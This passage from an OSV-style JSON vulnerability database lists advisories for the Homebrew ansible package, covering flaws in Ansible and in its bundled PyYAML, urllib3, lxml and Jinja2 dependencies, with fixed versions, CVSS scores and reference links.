vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1735"},{"type":"FIX","url":"https://github.com/ansible/ansible/issues/67793"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1736","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1736","GHSA-x7jh-595q-wq82","PYSEC-2020-8"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when a file is moved using atomic_move primitive as the file mode cannot be specified. This sets the destination files world-readable if the destination file does not exist and if the file exists, the file could be changed to have less restrictive permissions before the move. This could lead to the disclosure of sensitive data. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2NYYQP2XJB2TTRP6AKWVMBSPB2DFJNKD/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BPNZWBAUP4ZHUR6PO7U6ZXEKNCX62KZ7/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1736"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67794"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1737","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1737","GHSA-893h-35v4-mxqx","PYSEC-2020-9"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.6"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible 2.7.17 and prior, 2.8.9 and prior, and 2.9.6 and prior when using the Extract-Zip function from the win_unzip module as the extracted file(s) are not checked if they belong to the destination folder. An attacker could take advantage of this flaw by crafting an archive anywhere in the file system, using a path traversal. This issue is fixed in 2.10.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2/"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67795"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1737"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1738","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1738","GHSA-f85h-23mf-2fwh","PYSEC-2020-10"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when the module package or service is used and the parameter 'use' is not specified. If a previous task is executed with a malicious user, the module sent can be selected by the attacker using the ansible facts file. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:L"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible/ansible/issues/67796"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1738"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1739","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1739","GHSA-923p-fr2c-g5m2","PYSEC-2020-11"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1740","GHSA-vcg8-98q8-g7mj","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/67798"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1746","GHSA-j2h6-73x8-22c4","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the bind_pw in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/67866"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1747","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:12:54Z","upstream":["GHSA-6757-jp84-gxfx","CVE-2020-1747","PYSEC-2020-96"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.10"},{"fixed":"2.9.7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.3.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"Improper Input Validation in PyYAML","details":"A vulnerability was discovered in the PyYAML library in versions before 5.3.1, where it is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1747"},{"type":"WEB","url":"https://github.com/github/advisory-database/pull/4942"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/386"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/0cedb2a0697b2bc49e4f3841b8d4590b6b15657e"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/5080ba513377b6355a0502104846ee804656f1e0"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1747"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-6757-jp84-gxfx"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2020-96.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7PPAS6C4SZRDQLR7C22A5U3QOLXY33JX"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K5HEPD7LEVDPCITY5IMDYWXUMX37VFMY"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MMQXSZXNJT6ERABJZAAICI3DQSQLCP3D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WORRFHPQVAFKKXXWLSSW6XKUYLWM6CSH"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZBJA3SGNJKCAYPSHOHWY3KBCWNM5NYK2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00017.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-1753","GHSA-86hp-cj9j-33vv","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB/"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"ADVISORY","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"FIX","url":"https://github.com/ansible-collections/kubernetes/pull/51"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["CVE-2020-25635","GHSA-f556-49jc-4rvc","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"pkg:pypi/ansible@14.6.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.6.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.6.0","key":"upstream:pkg:pypi/ansible@14.6.0"}]},"details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as garbage collector is not happening after playbook run is completed. Files would remain in the bucket exposing the data. This issue affects directly data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-26137","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T23:13:13Z","upstream":["GHSA-wqvq-5m8c-6g24","CVE-2020-26137","PYSEC-2020-148"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.1.0"},{"fixed":"2.9.7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.25.9","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"CRLF injection in urllib3","details":"urllib3 before 1.25.9 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of `putrequest()`. NOTE: this is similar to CVE-2020-26116.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-26137"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/1800"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/1dd69c5c5982fae7c87a620d487c2ebf7a6b436b"},{"type":"WEB","url":"https://bugs.python.org/issue39603"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-148.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/10/msg00012.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4570-1"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuoct2021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-27783","published":"2026-08-13T16:35:22Z","modified":"2026-10-13T22:10:16Z","upstream":["GHSA-pgww-xf46-h92r","CVE-2020-27783","PYSEC-2020-62"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.9.2"},{"fixed":"2.1.2.0"},{"introduced":"2.3.0.0_2"},{"fixed":"2.10.5"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.6.2","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"lxml vulnerable to Cross-site Scripting","details":"A XSS vulnerability was discovered in python-lxml's clean module. The module's parser didn't properly imitate browsers, which caused different behaviors between the sanitizer and the user's page. A remote attacker could exploit this flaw to run arbitrary HTML/JS code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-27783"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/a105ab8dc262ec6735977c25c13f0bdfcdec72a7"},{"type":"WEB","url":"https://www.oracle.com//security-alerts/cpujul2021.html"},{"type":"WEB","url":"https://www.debian.org/security/2020/dsa-4810"},{"type":"WEB","url":"https://snyk.io/vuln/SNYK-PYTHON-LXML-1047473"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20210521-0003"},{"type":"WEB","url":"https://pypi.org/project/lxml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TMHVKRUT22LVWNL3TB7HPSDHJT74Q3JK"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JKG67GPGTV23KADT4D4GK4RMHSO4CIQL"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/12/msg00028.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2020-62.yaml"},{"type":"WEB","url":"https://github.com/lxml/lxml"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-pgww-xf46-h92r"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1901633"},{"type":"WEB","url":"https://advisory.checkmarx.net/advisory/CX-2020-4286"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2020-28493","published":"2026-08-13T16:35:22Z","modified":"2026-10-09T02:52:46Z","upstream":["GHSA-g3rq-g295-4j3m","CVE-2020-28493","PYSEC-2021-66","SNYK-PYTHON-JINJA2-1012994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.2.2"},{"fixed":"2.10.7"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.3","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Regular Expression Denial of Service (ReDoS) in Jinja2","details":"This affects the package jinja2 from 0.0.0 and before 2.11.3. The ReDOS vulnerability of the regex is mainly due to the sub-pattern [a-zA-Z0-9._-]+.[a-zA-Z0-9._-]+ This issue can be mitigated by Markdown to format user content instead of the urlize filter, or by implementing request timeouts and limiting process 